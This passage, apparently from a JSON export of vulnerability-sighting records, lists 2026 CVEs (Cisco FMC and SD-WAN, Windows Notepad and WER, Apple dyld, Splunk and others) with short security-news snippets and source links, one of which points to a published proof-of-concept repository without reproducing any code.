[...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-warns-of-fmc-static-credential-flaw-exploited-in-zero-day-attacks/", "creation_timestamp": "2026-07-29T23:00:03.314079Z"}, {"uuid": "d12a6aee-3005-4c89-abf8-edec70493059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/BleepingComputer/25222", "content": "\u200aCisco warns of FMC static credential flaw exploited in zero-day attacks\n\nCisco is warning that a high-severity Secure Firewall Management Center (FMC) static credential vulnerability, tracked as CVE-2026-20316, was actively exploited in zero-day attacks to gain unauthorized access to vulnerable devices. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-warns-of-fmc-static-credential-flaw-exploited-in-zero-day-attacks/", "creation_timestamp": "2026-07-30T00:00:05.103229Z"}, {"uuid": "f37b7eb2-4902-46d4-8c36-7a801e8b2577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/hn_best_comments/28918", "content": "Re: Windows 11 Notepad to support Markdown\n\nI believe Markdown support is what led to CVE-2026-20841 earlier this month.\n\n20260211 https://news.ycombinator.com/item?id=46971516 Windows Notepad App Remote Code Execution Vulnerability (804 points, 516 comments)\n\n20260210 https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...\n\n> \"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad\"\n\nOther recent Notepad issues:\n\n20260207 https://news.ycombinator.com/item?id=46927098 Microsoft account bugs locked me out of Notepad \u2013 Are thin clients ruining PCs? (187 points, 284 comments)\n\n20260127 https://news.ycombinator.com/item?id=46780451 Windows 11 January Update Breaks Notepad (60 points, 25 comments)\n\npassword4321, 6 hours ago", "creation_timestamp": "2026-07-30T00:01:47.018578Z"}, {"uuid": "d9980649-f66a-40ee-b5bd-b409d0b2f3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://t.me/reverseame/5607", "content": "CVE-2026-20965:\u00a0Cymulate\u00a0Research Labs\u00a0Discovers\u00a0Token Validation Flaw\u00a0that Leads to\u00a0Tenant-Wide RCE in Azure Windows Admin\u00a0Center #CVE202620965 #AzureWAC #TenantRCE #CymulateResearch #TokenValidation https://cymulate.com/blog/cve-2026-20965-azure-windows-admin-center-tenant-wide-rce/", "creation_timestamp": "2026-07-30T00:02:10.698181Z"}, {"uuid": "b6d52176-0c1e-490c-9604-4896c10fe0d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17006", "content": "\ud83d\udea8 CVE-2026-20817 \u2014 Windows ALPC Privilege Escalation PoC\n\n\ud83d\udd17GitHub:\nhttps://github.com/oxfemale/CVE-2026-20817\n\n\ud83d\udccc Overview\n\u2022 CVE: CVE-2026-20817\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Component: Windows Error Reporting (WER)\n\u2022 Vector: Local\n\u2022 Privilege Required: Low\n\u2022 User Interaction: None\nThis vulnerability affects the Windows Error Reporting service and allows a low-privileged user to escalate privileges due to improper permission handling in ALPC communication.\n\n\ud83e\udde0 Technical Context (High-Level)\nThe issue resides in the way WER interacts through ALPC (Advanced Local Procedure Call).\nImproper access control validation allows a local attacker to:\n\u2022 Interact with privileged service context\n\u2022 Abuse internal service logic\n\u2022 Escalate privileges to higher integrity level\nThis is a typical post-exploitation primitive used after initial access.\n\n\ud83d\udcc2 Repository Structure\nThe repository includes:\n\u2022 PoC source code\n\u2022 Build instructions\n\u2022 Technical explanation\n\u2022 Demonstration context\nLicense: AGPL-3.0\nResearch-oriented PoC for educational and defensive study.\n\n\ud83c\udfaf Security Significance\nPrivilege escalation vulnerabilities matter because:\n\u2022 They convert limited access into SYSTEM-level control\n\u2022 They enable credential dumping\n\u2022 They allow persistence installation\n\u2022 They are commonly chained with RCE or initial foothold exploits\nEven though local access is required, this is a strong post-exploitation vector.\n\n\ud83d\udee1 Defensive Notes\n\u2022 Apply Microsoft January 2026 patches\n\u2022 Restrict local user privileges\n\u2022 Monitor abnormal service interaction\n\u2022 Enable enhanced auditing on Windows service processes\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:06.994612Z"}, {"uuid": "58c3562f-60ec-4d6f-bd50-efe64f2afeaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberDispatch/519", "content": "Microsoft\u2019s first Patch Tuesday of 2026 fixes 114 Windows flaws, including one exploited in the wild.\n\nCVE-2026-20805 is a local info-leak in Desktop Window Manager that can expose memory addresses and weaken ASLR.", "creation_timestamp": "2026-08-30T00:00:49.378125Z"}, {"uuid": "ba46359b-fa3c-4708-8baf-f4f0ea296b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://t.me/CyberDispatch/1348", "content": "CISA Adds 8 Actively Exploited Vulnerabilities to KEV Catalog\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) urgently added eight zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, confirming active exploitation across enterprise tools from Cisco, Quest, PaperCut, TeamCity, Kentico, and Zimbra.\n\nKey flaws include three Cisco SD-WAN vulnerabilities\u2014CVE-2026-20127 (authentication bypass), CVE-2022-20775 (privilege escalation), and CVE-2026-20133 (sensitive info exposure)\u2014plus CVE-2025-32975 (CVSS 10.0) in Quest KACE SMA, enabling full user impersonation without credentials.\n\nOthers: CVE-2023-27351 (PaperCut improper auth, CVSS 8.2); CVE-2024-27199 (TeamCity path traversal, CVSS 7.3); CVE-2025-2749 (Kentico path traversal, CVSS 7.2).", "creation_timestamp": "2026-08-30T00:00:42.968083Z"}, {"uuid": "ec3ff5f0-0189-4822-bde2-b7fd31cc6f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/CyberDispatch/1348", "content": "CISA Adds 8 Actively Exploited Vulnerabilities to KEV Catalog\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) urgently added eight zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, confirming active exploitation across enterprise tools from Cisco, Quest, PaperCut, TeamCity, Kentico, and Zimbra.\n\nKey flaws include three Cisco SD-WAN vulnerabilities\u2014CVE-2026-20127 (authentication bypass), CVE-2022-20775 (privilege escalation), and CVE-2026-20133 (sensitive info exposure)\u2014plus CVE-2025-32975 (CVSS 10.0) in Quest KACE SMA, enabling full user impersonation without credentials.\n\nOthers: CVE-2023-27351 (PaperCut improper auth, CVSS 8.2); CVE-2024-27199 (TeamCity path traversal, CVSS 7.3); CVE-2025-2749 (Kentico path traversal, CVSS 7.2).", "creation_timestamp": "2026-08-30T00:00:43.010292Z"}, {"uuid": "3ef4b484-27a4-4eda-973b-aab0a7b8b302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-30T00:00:44.803204Z"}, {"uuid": "f16188eb-4724-48c3-803c-456e4b84c9d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://t.me/CyberDispatch/463", "content": "Cisco released patches for CVE-2026-20029 in Identity Services Engine and ISE-PIC.\n\nThe XML parsing flaw allows an authenticated admin to upload a malicious file and read restricted OS files.\n\nA public PoC exists. Patch Now.", "creation_timestamp": "2026-08-30T00:00:49.555783Z"}, {"uuid": "d780dce8-bbc5-417d-bd3e-a5ce440233c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://t.me/CyberDispatch/726", "content": "Apple shipped emergency updates after confirming exploitation of a zero-day in dyld.\n\nThe bug (CVE-2026-20700) could allow attackers to execute arbitrary code on vulnerable Apple devices.", "creation_timestamp": "2026-08-30T00:00:47.427380Z"}, {"uuid": "81bd5815-bd9e-4a49-bdf2-351c4643f8ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/xhqcankao/27576", "content": "\u601d\u79d1\u4fee\u8865 SD-WAN \u7cfb\u7edf\u6ee1\u5206\u96f6\u65e5\u6f0f\u6d1e\n\n\u601d\u79d1\u516c\u53f8\u516c\u5e03\u5e76\u4fee\u8865 SD-WAN \u7cfb\u7edf\u6ee1\u5206\u7f51\u7edc\u6f0f\u6d1e CVE-2026-20127 \uff0c\u901a\u62a5\u6b64\u4e8b\u7684\u6fb3\u5927\u5229\u4e9a\u7f51\u7edc\u5b89\u5168\u4e2d\u5fc3\u6307\u51fa\uff0c\u8fd9\u4e00\u6f0f\u6d1e\u7591\u4f3c\u5728\u4e09\u5e74\u524d\u5c31\u88ab\u5229\u7528\uff0c\u7f8e\u56fd\u7f51\u7edc\u5b89\u5168\u548c\u57fa\u7840\u8bbe\u65bd\u5b89\u5168\u5c40\u4e5f\u7f55\u89c1\u53d1\u5e03\u7d27\u6025\u6307\u4ee4\uff0c\u8981\u6c42\u6240\u6709\u8054\u90a6\u673a\u6784\u76d8\u70b9\u601d\u79d1 SD-WAN \u7cfb\u7edf\uff0c\u6e05\u67e5\u662f\u5426\u6709\u906d\u5230\u5165\u4fb5\u7684\u60c5\u5f62\u3002\u8be5\u6f0f\u6d1e\u5b58\u5728\u4e8eCatalyst SD-WAN Controller\u4e0eCatalyst SD-WAN Manager\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u53ef\u7ed5\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u5e76\u5f97\u5230\u7ba1\u7406\u5458\u6743\u9650\uff0cCVSS \u98ce\u9669\u8fbe\u523010\u5206\u3002\u9488\u5bf9\u6f0f\u6d1e\u5f62\u6210\u7684\u539f\u56e0\uff0c\u601d\u79d1\u6307\u51fa\u662f\u5bf9\u7b49\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\u672a\u6b63\u5e38\u8fd0\u4f5c\u9020\u6210\uff0c\u653b\u51fb\u8005\u53ef\u53d1\u9001\u7279\u5236\u8bf7\u6c42\u89e6\u53d1\u6f0f\u6d1e\uff0c\u4e00\u65e6\u6210\u529f\u5229\u7528\uff0c\u4ed6\u4eec\u5c31\u80fd\u5b58\u53d6\u5185\u90e8\u7684\u9ad8\u6743\u9650\u4f7f\u7528\u8005\u5e10\u53f7\uff08\u975eroot\uff09\u3002\n\n\u2014\u2014 ithome.com.tw", "creation_timestamp": "2026-08-30T00:00:55.200057Z"}, {"uuid": "cd964e2d-3a5c-4541-9be4-edcaaf29c6a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/xhqcankao/27193", "content": "\u5fae\u8f6f\u4fee\u590d Windows \u8bb0\u4e8b\u672c\u4e2d\u7684\u9ad8\u5371\u6f0f\u6d1e\n\n\u5fae\u8f6f\u5df2\u7ecf\u4fee\u590d\u4e86\u5f71\u54cd\u8bb0\u4e8b\u672c\u4e2d Markdown \u6587\u4ef6\u7684\u4e00\u4e2a\u4e25\u91cd\u5b89\u5168\u6f0f\u6d1e\u3002\u5728\u8be5\u516c\u53f8\u7684\u5468\u4e8c\u8865\u4e01\u8bf4\u660e\u4e2d\uff0c\u5fae\u8f6f\u8868\u793a\uff0c\u6076\u610f\u884c\u4e3a\u8005\u53ef\u80fd\u901a\u8fc7\u8bf1\u9a97\u7528\u6237\u70b9\u51fb\u5728\u8bb0\u4e8b\u672c\u4e2d\u6253\u5f00\u7684 Markdown \u6587\u4ef6\u5185\u7684\u6076\u610f\u94fe\u63a5\uff0c\u6765\u5b9e\u65bd\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u653b\u51fb\u3002\u6839\u636e\u8865\u4e01\u8bf4\u660e\uff0c\u70b9\u51fb\u8be5\u94fe\u63a5\u5c06\u201c\u542f\u52a8\u672a\u7ecf\u9a8c\u8bc1\u7684\u534f\u8bae\u201d\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u8fdc\u7a0b\u52a0\u8f7d\u5e76\u5728\u53d7\u5bb3\u8005\u7684\u8ba1\u7b97\u673a\u4e0a\u6267\u884c\u6076\u610f\u6587\u4ef6\u3002\u5fae\u8f6f\u8868\u793a\uff0c\u6ca1\u6709\u4efb\u4f55\u8bc1\u636e\u663e\u793a\u653b\u51fb\u8005\u5728\u91ce\u5916\u5229\u7528\u8bb0\u4e8b\u672c\u6f0f\u6d1e\uff08CVE-2026-20841\uff09\uff0c\u4f46\u5176\u5df2\u5728\u5176\u5468\u4e8c\u8865\u4e01\u4e2d\u4e3a\u8be5\u6f0f\u6d1e\u53d1\u5e03\u4e86\u4fee\u590d\u3002\u5fae\u8f6f\u516c\u53f8\u53bb\u5e74\u4e94\u6708\u5728 Windows 11 \u4e0a\u4e3a\u8bb0\u4e8b\u672c\u521d\u6b65\u6dfb\u52a0\u4e86\u5bf9\u7eaf\u6587\u672c\u683c\u5f0f\u5316\u8bed\u8a00Markdown\u7684\u652f\u6301\u3002\n\n\u2014\u2014 Theverge", "creation_timestamp": "2026-08-30T00:00:56.048159Z"}, {"uuid": "4a5588b6-0185-4435-957b-4ab62d7f931e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://t.me/CyberDispatch/536", "content": "Microsoft\u2019s first Patch Tuesday of 2026 fixes 114 Windows flaws, including one exploited in the wild.\n\nCVE-2026-20805 is a local info-leak in Desktop Window Manager that can expose memory addresses and weaken ASLR.", "creation_timestamp": "2026-08-31T00:00:10.899981Z"}, {"uuid": "ddd03223-a189-4c81-b5d0-2b3de4550057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muchqndlt22o", "content": "\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u7ba1\u7406\u88fd\u54c1\u300cCisco FMC\u300d\u306b\u8106\u5f31\u6027 - \u3059\u3067\u306b\u60aa\u7528\u3082\n\nCisco Systems\u306f\u3001\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u7ba1\u7406\u88fd\u54c1\u300cCisco Secure Firewall Management Center\uff08FMC\uff09\u300d\u306b\u3042\u3089\u305f\u306a\u8106\u5f31\u6027\u3092\u78ba\u8a8d\u3057\u3001\u4fee\u6b63\u3092\u5b9f\u65bd\u3057\u305f\u3002\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u304c\u78ba\u8a8d\u3055\u308c\u3066\u304a\u308a\u3001\u307b\u304b\u306e\u8106\u5f31\u6027\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u3088\u308a\u5927\u304d\u306a\u5f71\u97ff\u3092\u53ca\u307c\u3059\u304a\u305d\u308c\u3082\u3042\u308b\u3068\u3057\u3066\u3001\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\n\u540c\u793e\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670829\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u30a6\u30a7\u30d6\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\u306b\u304a\u3044\u3066\u8a8d\u8a3c\u60c5\u5831\u304c\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\u300cCVE-2026-20316\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\u30ea\u30e2\u30fc...", "creation_timestamp": "2026-08-30T13:11:43.149032Z"}, {"uuid": "f31aa912-8024-4962-a785-abfc17ef80f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "published-proof-of-concept", "source": "https://t.me/CyberDispatch/463", "content": "Cisco released patches for CVE-2026-20029 in Identity Services Engine and ISE-PIC.\n\nThe XML parsing flaw allows an authenticated admin to upload a malicious file and read restricted OS files.\n\nA public PoC exists. Patch Now.", "creation_timestamp": "2026-08-31T00:00:10.297268Z"}, {"uuid": "1c6a4179-d9b2-4743-99db-18bead23cc7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://t.me/CyberDispatch/519", "content": "Microsoft\u2019s first Patch Tuesday of 2026 fixes 114 Windows flaws, including one exploited in the wild.\n\nCVE-2026-20805 is a local info-leak in Desktop Window Manager that can expose memory addresses and weaken ASLR.", "creation_timestamp": "2026-08-31T00:00:10.513595Z"}, {"uuid": "2b3a7d55-43d1-44ac-864d-dea63d07e7e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/CyberDispatch/726", "content": "Apple shipped emergency updates after confirming exploitation of a zero-day in dyld.\n\nThe bug (CVE-2026-20700) could allow attackers to execute arbitrary code on vulnerable Apple devices.", "creation_timestamp": "2026-08-31T00:00:13.293668Z"}, {"uuid": "cb7fe33a-730f-4522-b05e-175f2ebd3540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://t.me/CyberDispatch/584", "content": "Cisco fixed an actively exploited zero-day in its voice and collaboration stack.\n\nCVE-2026-20045 allows unauthenticated attackers to run commands and escalate to root on exposed Unified CM and Webex Calling systems.", "creation_timestamp": "2026-08-31T00:00:11.331006Z"}, {"uuid": "5f25dd9a-3cae-4b1b-8e7b-1ec758137c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://t.me/CyberDispatch/1348", "content": "CISA Adds 8 Actively Exploited Vulnerabilities to KEV Catalog\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) urgently added eight zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, confirming active exploitation across enterprise tools from Cisco, Quest, PaperCut, TeamCity, Kentico, and Zimbra.\n\nKey flaws include three Cisco SD-WAN vulnerabilities\u2014CVE-2026-20127 (authentication bypass), CVE-2022-20775 (privilege escalation), and CVE-2026-20133 (sensitive info exposure)\u2014plus CVE-2025-32975 (CVSS 10.0) in Quest KACE SMA, enabling full user impersonation without credentials.\n\nOthers: CVE-2023-27351 (PaperCut improper auth, CVSS 8.2); CVE-2024-27199 (TeamCity path traversal, CVSS 7.3); CVE-2025-2749 (Kentico path traversal, CVSS 7.2).", "creation_timestamp": "2026-08-31T00:00:27.674739Z"}, {"uuid": "75aadc6e-ddb7-40d5-9efd-df0c117db829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/CyberDispatch/1348", "content": "CISA Adds 8 Actively Exploited Vulnerabilities to KEV Catalog\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) urgently added eight zero-day vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, confirming active exploitation across enterprise tools from Cisco, Quest, PaperCut, TeamCity, Kentico, and Zimbra.\n\nKey flaws include three Cisco SD-WAN vulnerabilities\u2014CVE-2026-20127 (authentication bypass), CVE-2022-20775 (privilege escalation), and CVE-2026-20133 (sensitive info exposure)\u2014plus CVE-2025-32975 (CVSS 10.0) in Quest KACE SMA, enabling full user impersonation without credentials.\n\nOthers: CVE-2023-27351 (PaperCut improper auth, CVSS 8.2); CVE-2024-27199 (TeamCity path traversal, CVSS 7.3); CVE-2025-2749 (Kentico path traversal, CVSS 7.2).", "creation_timestamp": "2026-08-31T00:00:27.725065Z"}, {"uuid": "5eb0a980-49c0-42b4-8526-a824ec731bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://t.me/CyberDispatch/1614", "content": "Limited attacks are exploiting CVE-2026-20182, a CVSS 10.0 auth bypass in Cisco Catalyst SD-WAN Controller.\n\nUnauthenticated remote attackers can gain admin privileges and manipulate SD-WAN configurations.\n\nAffected: on-prem, cloud, government deployments.", "creation_timestamp": "2026-08-31T00:00:37.398089Z"}, {"uuid": "02d7790f-0fb0-4b51-9652-2f3ec7be43ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/CyberDispatch/998", "content": "Attention to the vulnerability (CVE-2026-20131) in Cisco's Secure Firewall Management Center (FMC) actively exploited by ransomware groups worldwide.", "creation_timestamp": "2026-08-31T00:00:25.792632Z"}, {"uuid": "15b2f139-d221-4820-a6fd-e9e981bd1843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-31T00:00:25.244467Z"}, {"uuid": "44d13bd2-4ca9-40e3-8c16-1189fbfaeca4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/CyberDispatch/983", "content": "Apple patched a WebKit flaw that lets crafted pages bypass browser isolation.\n\nCVE-2026-20643 impacts iOS, iPadOS, and macOS. Fixes now ship via background updates, outside full OS releases.", "creation_timestamp": "2026-08-31T00:00:25.552581Z"}, {"uuid": "81929436-1817-436c-a216-7f879b92bdda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/CyberDispatch/1858", "content": "Cisco SD-WAN Vulnerability Exploited with No Patch Available\n\nCVE-2026-20245 lets attackers run root commands via crafted file uploads on exposed systems.", "creation_timestamp": "2026-08-31T00:00:39.017199Z"}, {"uuid": "2270e43c-6b80-4ff7-a948-07bfd9deeb35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/CyberDispatch/1690", "content": "Critical Alert: Cisco Secure Workload Hit with CVSS 10.0 Flaw.\n\nUnauthenticated attackers can exploit a REST API vulnerability (CVE-2026-20223) to steal sensitive data and make configuration changes across tenant boundaries with Site Admin privileges.", "creation_timestamp": "2026-08-31T00:00:37.989605Z"}, {"uuid": "d0d6ff9f-dc67-40b6-8244-b8b23cd2d741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://t.me/CyberDispatch/2048", "content": "This Splunk flaw is no longer just theoretical.\n\nSplunk says it is aware of limited exploitation of CVE-2026-20253.", "creation_timestamp": "2026-08-31T00:00:39.831822Z"}, {"uuid": "c45f2eb9-a651-47c4-a262-30ab108dbf06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/CyberDispatch/1958", "content": "A critical Splunk Enterprise flaw can go from \u201cno login required\u201d to remote code execution.\n\nTracked as CVE-2026-20253, the bug carries a 9.8 CVSS score and affects vulnerable Splunk Enterprise servers through exposed PostgreSQL sidecar endpoints.", "creation_timestamp": "2026-08-31T00:00:39.179196Z"}, {"uuid": "42b3781e-dd34-42d1-9c3d-3fe8e8c4c295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/9", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-20131", "creation_timestamp": "2026-09-01T13:00:05.917541Z"}, {"uuid": "98ebab96-3498-4ffb-b90a-8c011b8e869d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and 